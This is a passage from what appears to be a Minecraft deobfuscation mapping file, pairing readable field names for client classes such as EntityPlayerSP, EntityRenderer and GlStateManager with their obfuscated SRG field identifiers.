net/minecraft/client/entity/EntityPlayerSP/field_175172_bI +FD: net/minecraft/client/entity/EntityPlayerSP/lastReportedPosY net/minecraft/client/entity/EntityPlayerSP/field_175166_bJ +FD: net/minecraft/client/entity/EntityPlayerSP/lastReportedPosZ net/minecraft/client/entity/EntityPlayerSP/field_175167_bK +FD: net/minecraft/client/entity/EntityPlayerSP/lastReportedYaw net/minecraft/client/entity/EntityPlayerSP/field_175164_bL +FD: net/minecraft/client/entity/EntityPlayerSP/lastReportedPitch net/minecraft/client/entity/EntityPlayerSP/field_175165_bM +FD: net/minecraft/client/entity/EntityPlayerSP/serverSneakState net/minecraft/client/entity/EntityPlayerSP/field_175170_bN +FD: net/minecraft/client/entity/EntityPlayerSP/serverSprintState net/minecraft/client/entity/EntityPlayerSP/field_175171_bO +FD: net/minecraft/client/entity/EntityPlayerSP/positionUpdateTicks net/minecraft/client/entity/EntityPlayerSP/field_175168_bP +FD: net/minecraft/client/entity/EntityPlayerSP/hasValidHealth net/minecraft/client/entity/EntityPlayerSP/field_175169_bQ +FD: net/minecraft/client/entity/EntityPlayerSP/clientBrand net/minecraft/client/entity/EntityPlayerSP/field_142022_ce +FD: net/minecraft/client/entity/EntityPlayerSP/horseJumpPowerCounter net/minecraft/client/entity/EntityPlayerSP/field_110320_a +FD: net/minecraft/client/entity/EntityPlayerSP/horseJumpPower net/minecraft/client/entity/EntityPlayerSP/field_110321_bQ +FD: net/minecraft/client/entity/EntityPlayerSP/mc net/minecraft/client/entity/EntityPlayerSP/field_71159_c +FD: net/minecraft/client/entity/EntityPlayerSP/sprintToggleTimer net/minecraft/client/entity/EntityPlayerSP/field_71156_d +FD: net/minecraft/client/entity/EntityPlayerSP/sprintingTicksLeft net/minecraft/client/entity/EntityPlayerSP/field_71157_e +FD: net/minecraft/client/entity/EntityPlayerSP/renderArmYaw net/minecraft/client/entity/EntityPlayerSP/field_71154_f +FD: net/minecraft/client/entity/EntityPlayerSP/renderArmPitch net/minecraft/client/entity/EntityPlayerSP/field_71155_g +FD: net/minecraft/client/entity/EntityPlayerSP/prevRenderArmYaw net/minecraft/client/entity/EntityPlayerSP/field_71163_h +FD: net/minecraft/client/entity/EntityPlayerSP/prevRenderArmPitch net/minecraft/client/entity/EntityPlayerSP/field_71164_i +FD: net/minecraft/client/entity/EntityOtherPlayerMP/isItemInUse net/minecraft/client/entity/EntityOtherPlayerMP/field_71186_a +FD: net/minecraft/client/entity/EntityOtherPlayerMP/otherPlayerMPPosRotationIncrements net/minecraft/client/entity/EntityOtherPlayerMP/field_71184_b +FD: net/minecraft/client/entity/EntityOtherPlayerMP/otherPlayerMPX net/minecraft/client/entity/EntityOtherPlayerMP/field_71185_c +FD: net/minecraft/client/entity/EntityOtherPlayerMP/otherPlayerMPY net/minecraft/client/entity/EntityOtherPlayerMP/field_71182_d +FD: net/minecraft/client/entity/EntityOtherPlayerMP/otherPlayerMPZ net/minecraft/client/entity/EntityOtherPlayerMP/field_71183_e +FD: net/minecraft/client/entity/EntityOtherPlayerMP/otherPlayerMPYaw net/minecraft/client/entity/EntityOtherPlayerMP/field_71180_f +FD: net/minecraft/client/entity/EntityOtherPlayerMP/otherPlayerMPPitch net/minecraft/client/entity/EntityOtherPlayerMP/field_71181_g +FD: net/minecraft/client/player/inventory/LocalBlockIntercommunication/guiID net/minecraft/client/player/inventory/LocalBlockIntercommunication/field_175126_a +FD: net/minecraft/client/player/inventory/LocalBlockIntercommunication/displayName net/minecraft/client/player/inventory/LocalBlockIntercommunication/field_175125_b +FD: net/minecraft/client/player/inventory/ContainerLocalMenu/guiID net/minecraft/client/player/inventory/ContainerLocalMenu/field_174896_a +FD: net/minecraft/client/player/inventory/ContainerLocalMenu/field_174895_b net/minecraft/client/player/inventory/ContainerLocalMenu/field_174895_b +FD: net/minecraft/entity/boss/BossStatus/healthScale net/minecraft/entity/boss/BossStatus/field_82828_a +FD: net/minecraft/entity/boss/BossStatus/statusBarTime net/minecraft/entity/boss/BossStatus/field_82826_b +FD: net/minecraft/entity/boss/BossStatus/bossName net/minecraft/entity/boss/BossStatus/field_82827_c +FD: net/minecraft/entity/boss/BossStatus/hasColorModifier net/minecraft/entity/boss/BossStatus/field_82825_d +FD: net/minecraft/client/renderer/WorldRenderer$1/field_181659_a net/minecraft/client/renderer/WorldRenderer$1/field_181659_a +FD: net/minecraft/client/renderer/WorldRenderer$1/field_181660_b net/minecraft/client/renderer/WorldRenderer$1/field_181660_b +FD: net/minecraft/client/renderer/WorldRenderer$2/field_181661_a net/minecraft/client/renderer/WorldRenderer$2/field_181661_a +FD: net/minecraft/client/renderer/WorldRenderer$State/field_179021_a net/minecraft/client/renderer/WorldRenderer$State/field_179021_a +FD: net/minecraft/client/renderer/WorldRenderer$State/stateRawBuffer net/minecraft/client/renderer/WorldRenderer$State/field_179019_b +FD: net/minecraft/client/renderer/WorldRenderer$State/stateVertexFormat net/minecraft/client/renderer/WorldRenderer$State/field_179018_e +FD: net/minecraft/client/renderer/WorldRenderer/byteBuffer net/minecraft/client/renderer/WorldRenderer/field_179001_a +FD: net/minecraft/client/renderer/WorldRenderer/rawIntBuffer net/minecraft/client/renderer/WorldRenderer/field_178999_b +FD: net/minecraft/client/renderer/WorldRenderer/rawShortBuffer net/minecraft/client/renderer/WorldRenderer/field_181676_c +FD: net/minecraft/client/renderer/WorldRenderer/rawFloatBuffer net/minecraft/client/renderer/WorldRenderer/field_179000_c +FD: net/minecraft/client/renderer/WorldRenderer/vertexCount net/minecraft/client/renderer/WorldRenderer/field_178997_d +FD: net/minecraft/client/renderer/WorldRenderer/vertexFormatElement net/minecraft/client/renderer/WorldRenderer/field_181677_f +FD: net/minecraft/client/renderer/WorldRenderer/vertexFormatIndex net/minecraft/client/renderer/WorldRenderer/field_181678_g +FD: net/minecraft/client/renderer/WorldRenderer/noColor net/minecraft/client/renderer/WorldRenderer/field_78939_q +FD: net/minecraft/client/renderer/WorldRenderer/drawMode net/minecraft/client/renderer/WorldRenderer/field_179006_k +FD: net/minecraft/client/renderer/WorldRenderer/xOffset net/minecraft/client/renderer/WorldRenderer/field_179004_l +FD: net/minecraft/client/renderer/WorldRenderer/yOffset net/minecraft/client/renderer/WorldRenderer/field_179005_m +FD: net/minecraft/client/renderer/WorldRenderer/zOffset net/minecraft/client/renderer/WorldRenderer/field_179002_n +FD: net/minecraft/client/renderer/WorldRenderer/vertexFormat net/minecraft/client/renderer/WorldRenderer/field_179011_q +FD: net/minecraft/client/renderer/WorldRenderer/isDrawing net/minecraft/client/renderer/WorldRenderer/field_179010_r +FD: net/minecraft/client/renderer/WorldVertexBufferUploader$1/field_178958_a net/minecraft/client/renderer/WorldVertexBufferUploader$1/field_178958_a +FD: net/minecraft/client/renderer/RegionRenderCache/DEFAULT_STATE net/minecraft/client/renderer/RegionRenderCache/field_175632_f +FD: net/minecraft/client/renderer/RegionRenderCache/position net/minecraft/client/renderer/RegionRenderCache/field_175633_g +FD: net/minecraft/client/renderer/RegionRenderCache/combinedLights net/minecraft/client/renderer/RegionRenderCache/field_175634_h +FD: net/minecraft/client/renderer/RegionRenderCache/blockStates net/minecraft/client/renderer/RegionRenderCache/field_175635_i +FD: net/minecraft/client/renderer/RegionRenderCacheBuilder/worldRenderers net/minecraft/client/renderer/RegionRenderCacheBuilder/field_179040_a +FD: net/minecraft/client/renderer/ChunkRenderContainer/renderChunks net/minecraft/client/renderer/ChunkRenderContainer/field_178009_a +FD: net/minecraft/client/renderer/ChunkRenderContainer/initialized net/minecraft/client/renderer/ChunkRenderContainer/field_178007_b +FD: net/minecraft/client/renderer/ChunkRenderContainer/viewEntityX net/minecraft/client/renderer/ChunkRenderContainer/field_178008_c +FD: net/minecraft/client/renderer/ChunkRenderContainer/viewEntityY net/minecraft/client/renderer/ChunkRenderContainer/field_178005_d +FD: net/minecraft/client/renderer/ChunkRenderContainer/viewEntityZ net/minecraft/client/renderer/ChunkRenderContainer/field_178006_e +FD: net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/instance net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/field_147719_a +FD: net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/field_147717_b net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/field_147717_b +FD: net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/field_147718_c net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/field_147718_c +FD: net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/enderChest net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/field_147716_d +FD: net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/banner net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/field_179024_e +FD: net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/skull net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/field_179023_f +FD: net/minecraft/client/renderer/EnumFaceDirection$Constants/SOUTH_INDEX net/minecraft/client/renderer/EnumFaceDirection$Constants/field_179181_a +FD: net/minecraft/client/renderer/EnumFaceDirection$Constants/UP_INDEX net/minecraft/client/renderer/EnumFaceDirection$Constants/field_179179_b +FD: net/minecraft/client/renderer/EnumFaceDirection$Constants/EAST_INDEX net/minecraft/client/renderer/EnumFaceDirection$Constants/field_179180_c +FD: net/minecraft/client/renderer/EnumFaceDirection$Constants/NORTH_INDEX net/minecraft/client/renderer/EnumFaceDirection$Constants/field_179177_d +FD: net/minecraft/client/renderer/EnumFaceDirection$Constants/DOWN_INDEX net/minecraft/client/renderer/EnumFaceDirection$Constants/field_179178_e +FD: net/minecraft/client/renderer/EnumFaceDirection$Constants/WEST_INDEX net/minecraft/client/renderer/EnumFaceDirection$Constants/field_179176_f +FD: net/minecraft/client/renderer/EnumFaceDirection$VertexInformation/xIndex net/minecraft/client/renderer/EnumFaceDirection$VertexInformation/field_179184_a +FD: net/minecraft/client/renderer/EnumFaceDirection$VertexInformation/yIndex net/minecraft/client/renderer/EnumFaceDirection$VertexInformation/field_179182_b +FD: net/minecraft/client/renderer/EnumFaceDirection$VertexInformation/zIndex net/minecraft/client/renderer/EnumFaceDirection$VertexInformation/field_179183_c +FD: net/minecraft/client/renderer/EnumFaceDirection/DOWN net/minecraft/client/renderer/EnumFaceDirection/DOWN +FD: net/minecraft/client/renderer/EnumFaceDirection/UP net/minecraft/client/renderer/EnumFaceDirection/UP +FD: net/minecraft/client/renderer/EnumFaceDirection/NORTH net/minecraft/client/renderer/EnumFaceDirection/NORTH +FD: net/minecraft/client/renderer/EnumFaceDirection/SOUTH net/minecraft/client/renderer/EnumFaceDirection/SOUTH +FD: net/minecraft/client/renderer/EnumFaceDirection/WEST net/minecraft/client/renderer/EnumFaceDirection/WEST +FD: net/minecraft/client/renderer/EnumFaceDirection/EAST net/minecraft/client/renderer/EnumFaceDirection/EAST +FD: net/minecraft/client/renderer/EnumFaceDirection/facings net/minecraft/client/renderer/EnumFaceDirection/field_179029_g +FD: net/minecraft/client/renderer/EnumFaceDirection/vertexInfos net/minecraft/client/renderer/EnumFaceDirection/field_179035_h +FD: net/minecraft/client/renderer/EnumFaceDirection/$VALUES net/minecraft/client/renderer/EnumFaceDirection/$VALUES +FD: net/minecraft/client/renderer/EntityRenderer$1/field_90032_a net/minecraft/client/renderer/EntityRenderer$1/field_90032_a +FD: net/minecraft/client/renderer/EntityRenderer$2/field_90025_c net/minecraft/client/renderer/EntityRenderer$2/field_90025_c +FD: net/minecraft/client/renderer/EntityRenderer$3/field_181048_a net/minecraft/client/renderer/EntityRenderer$3/field_181048_a +FD: net/minecraft/client/renderer/EntityRenderer$3/field_181049_b net/minecraft/client/renderer/EntityRenderer$3/field_181049_b +FD: net/minecraft/client/renderer/EntityRenderer$3/field_90028_b net/minecraft/client/renderer/EntityRenderer$3/field_90028_b +FD: net/minecraft/client/renderer/EntityRenderer$4/field_181046_a net/minecraft/client/renderer/EntityRenderer$4/field_181046_a +FD: net/minecraft/client/renderer/EntityRenderer$4/field_181047_b net/minecraft/client/renderer/EntityRenderer$4/field_181047_b +FD: net/minecraft/client/renderer/EntityRenderer/bossColorModifierPrev net/minecraft/client/renderer/EntityRenderer/field_82832_V +FD: net/minecraft/client/renderer/EntityRenderer/cloudFog net/minecraft/client/renderer/EntityRenderer/field_78500_U +FD: net/minecraft/client/renderer/EntityRenderer/renderHand net/minecraft/client/renderer/EntityRenderer/field_175074_C +FD: net/minecraft/client/renderer/EntityRenderer/drawBlockOutline net/minecraft/client/renderer/EntityRenderer/field_175073_D +FD: net/minecraft/client/renderer/EntityRenderer/prevFrameTime net/minecraft/client/renderer/EntityRenderer/field_78508_Y +FD: net/minecraft/client/renderer/EntityRenderer/renderEndNanoTime net/minecraft/client/renderer/EntityRenderer/field_78510_Z +FD: net/minecraft/client/renderer/EntityRenderer/lightmapTexture net/minecraft/client/renderer/EntityRenderer/field_78513_d +FD: net/minecraft/client/renderer/EntityRenderer/lightmapColors net/minecraft/client/renderer/EntityRenderer/field_78504_Q +FD: net/minecraft/client/renderer/EntityRenderer/locationLightMap net/minecraft/client/renderer/EntityRenderer/field_110922_T +FD: net/minecraft/client/renderer/EntityRenderer/lightmapUpdateNeeded net/minecraft/client/renderer/EntityRenderer/field_78536_aa +FD: net/minecraft/client/renderer/EntityRenderer/torchFlickerX net/minecraft/client/renderer/EntityRenderer/field_78514_e +FD: net/minecraft/client/renderer/EntityRenderer/torchFlickerDX net/minecraft/client/renderer/EntityRenderer/field_175075_L +FD: net/minecraft/client/renderer/EntityRenderer/rainSoundCounter net/minecraft/client/renderer/EntityRenderer/field_78534_ac +FD: net/minecraft/client/renderer/EntityRenderer/rainXCoords net/minecraft/client/renderer/EntityRenderer/field_175076_N +FD: net/minecraft/client/renderer/EntityRenderer/rainYCoords net/minecraft/client/renderer/EntityRenderer/field_175077_O +FD: net/minecraft/client/renderer/EntityRenderer/fogColorBuffer net/minecraft/client/renderer/EntityRenderer/field_78521_m +FD: net/minecraft/client/renderer/EntityRenderer/fogColorRed net/minecraft/client/renderer/EntityRenderer/field_175080_Q +FD: net/minecraft/client/renderer/EntityRenderer/fogColorGreen net/minecraft/client/renderer/EntityRenderer/field_175082_R +FD: net/minecraft/client/renderer/EntityRenderer/fogColorBlue net/minecraft/client/renderer/EntityRenderer/field_175081_S +FD: net/minecraft/client/renderer/EntityRenderer/fogColor2 net/minecraft/client/renderer/EntityRenderer/field_78535_ad +FD: net/minecraft/client/renderer/EntityRenderer/fogColor1 net/minecraft/client/renderer/EntityRenderer/field_78539_ae +FD: net/minecraft/client/renderer/EntityRenderer/debugViewDirection net/minecraft/client/renderer/EntityRenderer/field_175079_V +FD: net/minecraft/client/renderer/EntityRenderer/debugView net/minecraft/client/renderer/EntityRenderer/field_175078_W +FD: net/minecraft/client/renderer/EntityRenderer/cameraZoom net/minecraft/client/renderer/EntityRenderer/field_78503_V +FD: net/minecraft/client/renderer/EntityRenderer/cameraYaw net/minecraft/client/renderer/EntityRenderer/field_78502_W +FD: net/minecraft/client/renderer/EntityRenderer/cameraPitch net/minecraft/client/renderer/EntityRenderer/field_78509_X +FD: net/minecraft/client/renderer/EntityRenderer/anaglyphEnable net/minecraft/client/renderer/EntityRenderer/field_78517_a +FD: net/minecraft/client/renderer/EntityRenderer/theShaderGroup net/minecraft/client/renderer/EntityRenderer/field_147707_d +FD: net/minecraft/client/renderer/EntityRenderer/shaderResourceLocations net/minecraft/client/renderer/EntityRenderer/field_147712_ad +FD: net/minecraft/client/renderer/EntityRenderer/shaderIndex net/minecraft/client/renderer/EntityRenderer/field_147713_ae +FD: net/minecraft/client/renderer/EntityRenderer/useShader net/minecraft/client/renderer/EntityRenderer/field_175083_ad +FD: net/minecraft/client/renderer/EntityRenderer/frameCount net/minecraft/client/renderer/EntityRenderer/field_175084_ae +FD: net/minecraft/client/renderer/EntityRenderer/anaglyphField net/minecraft/client/renderer/EntityRenderer/field_78515_b +FD: net/minecraft/client/renderer/EntityRenderer/itemRenderer net/minecraft/client/renderer/EntityRenderer/field_78516_c +FD: net/minecraft/client/renderer/EntityRenderer/shaderCount net/minecraft/client/renderer/EntityRenderer/field_147708_e +FD: net/minecraft/client/renderer/EntityRenderer/logger net/minecraft/client/renderer/EntityRenderer/field_147710_q +FD: net/minecraft/client/renderer/EntityRenderer/locationRainPng net/minecraft/client/renderer/EntityRenderer/field_110924_q +FD: net/minecraft/client/renderer/EntityRenderer/locationSnowPng net/minecraft/client/renderer/EntityRenderer/field_110923_r +FD: net/minecraft/client/renderer/EntityRenderer/mc net/minecraft/client/renderer/EntityRenderer/field_78531_r +FD: net/minecraft/client/renderer/EntityRenderer/resourceManager net/minecraft/client/renderer/EntityRenderer/field_147711_ac +FD: net/minecraft/client/renderer/EntityRenderer/random net/minecraft/client/renderer/EntityRenderer/field_78537_ab +FD: net/minecraft/client/renderer/EntityRenderer/farPlaneDistance net/minecraft/client/renderer/EntityRenderer/field_78530_s +FD: net/minecraft/client/renderer/EntityRenderer/theMapItemRenderer net/minecraft/client/renderer/EntityRenderer/field_147709_v +FD: net/minecraft/client/renderer/EntityRenderer/rendererUpdateCount net/minecraft/client/renderer/EntityRenderer/field_78529_t +FD: net/minecraft/client/renderer/EntityRenderer/pointedEntity net/minecraft/client/renderer/EntityRenderer/field_78528_u +FD: net/minecraft/client/renderer/EntityRenderer/mouseFilterXAxis net/minecraft/client/renderer/EntityRenderer/field_78527_v +FD: net/minecraft/client/renderer/EntityRenderer/mouseFilterYAxis net/minecraft/client/renderer/EntityRenderer/field_78526_w +FD: net/minecraft/client/renderer/EntityRenderer/thirdPersonDistance net/minecraft/client/renderer/EntityRenderer/field_78490_B +FD: net/minecraft/client/renderer/EntityRenderer/thirdPersonDistanceTemp net/minecraft/client/renderer/EntityRenderer/field_78491_C +FD: net/minecraft/client/renderer/EntityRenderer/smoothCamYaw net/minecraft/client/renderer/EntityRenderer/field_78496_H +FD: net/minecraft/client/renderer/EntityRenderer/smoothCamPitch net/minecraft/client/renderer/EntityRenderer/field_78497_I +FD: net/minecraft/client/renderer/EntityRenderer/smoothCamFilterX net/minecraft/client/renderer/EntityRenderer/field_78498_J +FD: net/minecraft/client/renderer/EntityRenderer/smoothCamFilterY net/minecraft/client/renderer/EntityRenderer/field_78499_K +FD: net/minecraft/client/renderer/EntityRenderer/smoothCamPartialTicks net/minecraft/client/renderer/EntityRenderer/field_78492_L +FD: net/minecraft/client/renderer/EntityRenderer/fovModifierHand net/minecraft/client/renderer/EntityRenderer/field_78507_R +FD: net/minecraft/client/renderer/EntityRenderer/fovModifierHandPrev net/minecraft/client/renderer/EntityRenderer/field_78506_S +FD: net/minecraft/client/renderer/EntityRenderer/bossColorModifier net/minecraft/client/renderer/EntityRenderer/field_82831_U +FD: net/minecraft/client/renderer/GlStateManager$1/field_179175_a net/minecraft/client/renderer/GlStateManager$1/field_179175_a +FD: net/minecraft/client/renderer/GlStateManager$AlphaState/alphaTest net/minecraft/client/renderer/GlStateManager$AlphaState/field_179208_a +FD: net/minecraft/client/renderer/GlStateManager$AlphaState/func net/minecraft/client/renderer/GlStateManager$AlphaState/field_179206_b +FD: net/minecraft/client/renderer/GlStateManager$AlphaState/ref net/minecraft/client/renderer/GlStateManager$AlphaState/field_179207_c +FD: net/minecraft/client/renderer/GlStateManager$BlendState/blend net/minecraft/client/renderer/GlStateManager$BlendState/field_179213_a +FD: net/minecraft/client/renderer/GlStateManager$BlendState/srcFactor net/minecraft/client/renderer/GlStateManager$BlendState/field_179211_b +FD: net/minecraft/client/renderer/GlStateManager$BlendState/dstFactor net/minecraft/client/renderer/GlStateManager$BlendState/field_179212_c +FD: net/minecraft/client/renderer/GlStateManager$BlendState/srcFactorAlpha net/minecraft/client/renderer/GlStateManager$BlendState/field_179209_d +FD: net/minecraft/client/renderer/GlStateManager$BlendState/dstFactorAlpha net/minecraft/client/renderer/GlStateManager$BlendState/field_179210_e +FD: net/minecraft/client/renderer/GlStateManager$BooleanState/capability net/minecraft/client/renderer/GlStateManager$BooleanState/field_179202_a +FD: net/minecraft/client/renderer/GlStateManager$BooleanState/currentState net/minecraft/client/renderer/GlStateManager$BooleanState/field_179201_b +FD: net/minecraft/client/renderer/GlStateManager$ClearState/depth net/minecraft/client/renderer/GlStateManager$ClearState/field_179205_a +FD: net/minecraft/client/renderer/GlStateManager$ClearState/color net/minecraft/client/renderer/GlStateManager$ClearState/field_179203_b +FD: net/minecraft/client/renderer/GlStateManager$ClearState/field_179204_c net/minecraft/client/renderer/GlStateManager$ClearState/field_179204_c +FD: net/minecraft/client/renderer/GlStateManager$Color/red net/minecraft/client/renderer/GlStateManager$Color/field_179195_a +FD: net/minecraft/client/renderer/GlStateManager$Color/green net/minecraft/client/renderer/GlStateManager$Color/field_179193_b +FD: net/minecraft/client/renderer/GlStateManager$Color/blue net/minecraft/client/renderer/GlStateManager$Color/field_179194_c +FD: net/minecraft/client/renderer/GlStateManager$Color/alpha net/minecraft/client/renderer/GlStateManager$Color/field_179192_d +FD: net/minecraft/client/renderer/GlStateManager$ColorLogicState/colorLogicOp net/minecraft/client/renderer/GlStateManager$ColorLogicState/field_179197_a +FD: net/minecraft/client/renderer/GlStateManager$ColorLogicState/opcode net/minecraft/client/renderer/GlStateManager$ColorLogicState/field_179196_b +FD: net/minecraft/client/renderer/GlStateManager$ColorMask/red net/minecraft/client/renderer/GlStateManager$ColorMask/field_179188_a +FD: net/minecraft/client/renderer/GlStateManager$ColorMask/green net/minecraft/client/renderer/GlStateManager$ColorMask/field_179186_b +FD: net/minecraft/client/renderer/GlStateManager$ColorMask/blue net/minecraft/client/renderer/GlStateManager$ColorMask/field_179187_c +FD: net/minecraft/client/renderer/GlStateManager$ColorMask/alpha net/minecraft/client/renderer/GlStateManager$ColorMask/field_179185_d +FD: net/minecraft/client/renderer/GlStateManager$ColorMaterialState/colorMaterial net/minecraft/client/renderer/GlStateManager$ColorMaterialState/field_179191_a +FD: net/minecraft/client/renderer/GlStateManager$ColorMaterialState/face net/minecraft/client/renderer/GlStateManager$ColorMaterialState/field_179189_b +FD: net/minecraft/client/renderer/GlStateManager$ColorMaterialState/mode net/minecraft/client/renderer/GlStateManager$ColorMaterialState/field_179190_c +FD: net/minecraft/client/renderer/GlStateManager$CullState/cullFace net/minecraft/client/renderer/GlStateManager$CullState/field_179054_a +FD: net/minecraft/client/renderer/GlStateManager$CullState/mode net/minecraft/client/renderer/GlStateManager$CullState/field_179053_b +FD: net/minecraft/client/renderer/GlStateManager$DepthState/depthTest net/minecraft/client/renderer/GlStateManager$DepthState/field_179052_a +FD: net/minecraft/client/renderer/GlStateManager$DepthState/maskEnabled net/minecraft/client/renderer/GlStateManager$DepthState/field_179050_b +FD: net/minecraft/client/renderer/GlStateManager$DepthState/depthFunc net/minecraft/client/renderer/GlStateManager$DepthState/field_179051_c +FD: net/minecraft/client/renderer/GlStateManager$FogState/fog net/minecraft/client/renderer/GlStateManager$FogState/field_179049_a +FD: net/minecraft/client/renderer/GlStateManager$FogState/mode net/minecraft/client/renderer/GlStateManager$FogState/field_179047_b +FD: net/minecraft/client/renderer/GlStateManager$FogState/density net/minecraft/client/renderer/GlStateManager$FogState/field_179048_c +FD: net/minecraft/client/renderer/GlStateManager$FogState/start net/minecraft/client/renderer/GlStateManager$FogState/field_179045_d +FD: net/minecraft/client/renderer/GlStateManager$FogState/end net/minecraft/client/renderer/GlStateManager$FogState/field_179046_e +FD: net/minecraft/client/renderer/GlStateManager$PolygonOffsetState/polygonOffsetFill net/minecraft/client/renderer/GlStateManager$PolygonOffsetState/field_179044_a +FD: net/minecraft/client/renderer/GlStateManager$PolygonOffsetState/polygonOffsetLine net/minecraft/client/renderer/GlStateManager$PolygonOffsetState/field_179042_b +FD: net/minecraft/client/renderer/GlStateManager$PolygonOffsetState/factor net/minecraft/client/renderer/GlStateManager$PolygonOffsetState/field_179043_c +FD: net/minecraft/client/renderer/GlStateManager$PolygonOffsetState/units net/minecraft/client/renderer/GlStateManager$PolygonOffsetState/field_179041_d +FD: net/minecraft/client/renderer/GlStateManager$StencilFunc/field_179081_a net/minecraft/client/renderer/GlStateManager$StencilFunc/field_179081_a +FD: net/minecraft/client/renderer/GlStateManager$StencilFunc/field_179079_b net/minecraft/client/renderer/GlStateManager$StencilFunc/field_179079_b +FD: net/minecraft/client/renderer/GlStateManager$StencilFunc/field_179080_c net/minecraft/client/renderer/GlStateManager$StencilFunc/field_179080_c +FD: net/minecraft/client/renderer/GlStateManager$StencilState/field_179078_a net/minecraft/client/renderer/GlStateManager$StencilState/field_179078_a +FD: net/minecraft/client/renderer/GlStateManager$StencilState/field_179076_b net/minecraft/client/renderer/GlStateManager$StencilState/field_179076_b +FD: net/minecraft/client/renderer/GlStateManager$StencilState/field_179077_c net/minecraft/client/renderer/GlStateManager$StencilState/field_179077_c +FD: net/minecraft/client/renderer/GlStateManager$StencilState/field_179074_d net/minecraft/client/renderer/GlStateManager$StencilState/field_179074_d +FD: net/minecraft/client/renderer/GlStateManager$StencilState/field_179075_e net/minecraft/client/renderer/GlStateManager$StencilState/field_179075_e +FD: net/minecraft/client/renderer/GlStateManager$TexGen/S net/minecraft/client/renderer/GlStateManager$TexGen/S +FD: net/minecraft/client/renderer/GlStateManager$TexGen/T net/minecraft/client/renderer/GlStateManager$TexGen/T +FD: net/minecraft/client/renderer/GlStateManager$TexGen/R net/minecraft/client/renderer/GlStateManager$TexGen/R +FD: net/minecraft/client/renderer/GlStateManager$TexGen/Q net/minecraft/client/renderer/GlStateManager$TexGen/Q +FD: net/minecraft/client/renderer/GlStateManager$TexGen/$VALUES net/minecraft/client/renderer/GlStateManager$TexGen/$VALUES +FD: net/minecraft/client/renderer/GlStateManager$TexGenCoord/textureGen net/minecraft/client/renderer/GlStateManager$TexGenCoord/field_179067_a +FD: net/minecraft/client/renderer/GlStateManager$TexGenCoord/coord net/minecraft/client/renderer/GlStateManager$TexGenCoord/field_179065_b +FD: net/minecraft/client/renderer/GlStateManager$TexGenCoord/param net/minecraft/client/renderer/GlStateManager$TexGenCoord/field_179066_c +FD: net/minecraft/client/renderer/GlStateManager$TexGenState/s net/minecraft/client/renderer/GlStateManager$TexGenState/field_179064_a +FD: net/minecraft/client/renderer/GlStateManager$TexGenState/t net/minecraft/client/renderer/GlStateManager$TexGenState/field_179062_b +FD: net/minecraft/client/renderer/GlStateManager$TexGenState/r net/minecraft/client/renderer/GlStateManager$TexGenState/field_179063_c +FD: net/minecraft/client/renderer/GlStateManager$TexGenState/q net/minecraft/client/renderer/GlStateManager$TexGenState/field_179061_d +FD: net/minecraft/client/renderer/GlStateManager$TextureState/texture2DState net/minecraft/client/renderer/GlStateManager$TextureState/field_179060_a +FD: net/minecraft/client/renderer/GlStateManager$TextureState/textureName net/minecraft/client/renderer/GlStateManager$TextureState/field_179059_b +FD: net/minecraft/client/renderer/GlStateManager/alphaState net/minecraft/client/renderer/GlStateManager/field_179160_a +FD: net/minecraft/client/renderer/GlStateManager/lightingState net/minecraft/client/renderer/GlStateManager/field_179158_b +FD: net/minecraft/client/renderer/GlStateManager/lightState net/minecraft/client/renderer/GlStateManager/field_179159_c +FD: net/minecraft/client/renderer/GlStateManager/colorMaterialState net/minecraft/client/renderer/GlStateManager/field_179156_d +FD: net/minecraft/client/renderer/GlStateManager/blendState net/minecraft/client/renderer/GlStateManager/field_179157_e +FD: net/minecraft/client/renderer/GlStateManager/depthState net/minecraft/client/renderer/GlStateManager/field_179154_f +FD: net/minecraft/client/renderer/GlStateManager/fogState net/minecraft/client/renderer/GlStateManager/field_179155_g +FD: net/minecraft/client/renderer/GlStateManager/cullState net/minecraft/client/renderer/GlStateManager/field_179167_h +FD: net/minecraft/client/renderer/GlStateManager/polygonOffsetState net/minecraft/client/renderer/GlStateManager/field_179168_i +FD: net/minecraft/client/renderer/GlStateManager/colorLogicState net/minecraft/client/renderer/GlStateManager/field_179165_j +FD: net/minecraft/client/renderer/GlStateManager/texGenState net/minecraft/client/renderer/GlStateManager/field_179166_k +FD: net/minecraft/client/renderer/GlStateManager/clearState net/minecraft/client/renderer/GlStateManager/field_179163_l +FD: net/minecraft/client/renderer/GlStateManager/stencilState net/minecraft/client/renderer/GlStateManager/field_179164_m +FD: net/minecraft/client/renderer/GlStateManager/normalizeState net/minecraft/client/renderer/GlStateManager/field_179161_n +FD: net/minecraft/client/renderer/GlStateManager/activeTextureUnit net/minecraft/client/renderer/GlStateManager/field_179162_o +FD: net/minecraft/client/renderer/GlStateManager/textureState net/minecraft/client/renderer/GlStateManager/field_179174_p +FD: net/minecraft/client/renderer/GlStateManager/activeShadeModel net/minecraft/client/renderer/GlStateManager/field_179173_q +FD: net/minecraft/client/renderer/GlStateManager/rescaleNormalState net/minecraft/client/renderer/GlStateManager/field_179172_r +FD: net/minecraft/client/renderer/GlStateManager/colorMaskState net/minecraft/client/renderer/GlStateManager/field_179171_s +FD: net/minecraft/client/renderer/GlStateManager/colorState net/minecraft/client/renderer/GlStateManager/field_179170_t +FD: net/minecraft/client/renderer/ItemRenderer$1/field_178094_a net/minecraft/client/renderer/ItemRenderer$1/field_178094_a +FD: net/minecraft/client/renderer/ItemRenderer/RES_MAP_BACKGROUND net/minecraft/client/renderer/ItemRenderer/field_110931_c +FD: net/minecraft/client/renderer/ItemRenderer/RES_UNDERWATER_OVERLAY net/minecraft/client/renderer/ItemRenderer/field_110929_d +FD: net/minecraft/client/renderer/ItemRenderer/mc net/minecraft/client/renderer/ItemRenderer/field_78455_a +FD: net/minecraft/client/renderer/ItemRenderer/itemToRender net/minecraft/client/renderer/ItemRenderer/field_78453_b +FD: net/minecraft/client/renderer/ItemRenderer/equippedProgress net/minecraft/client/renderer/ItemRenderer/field_78454_c 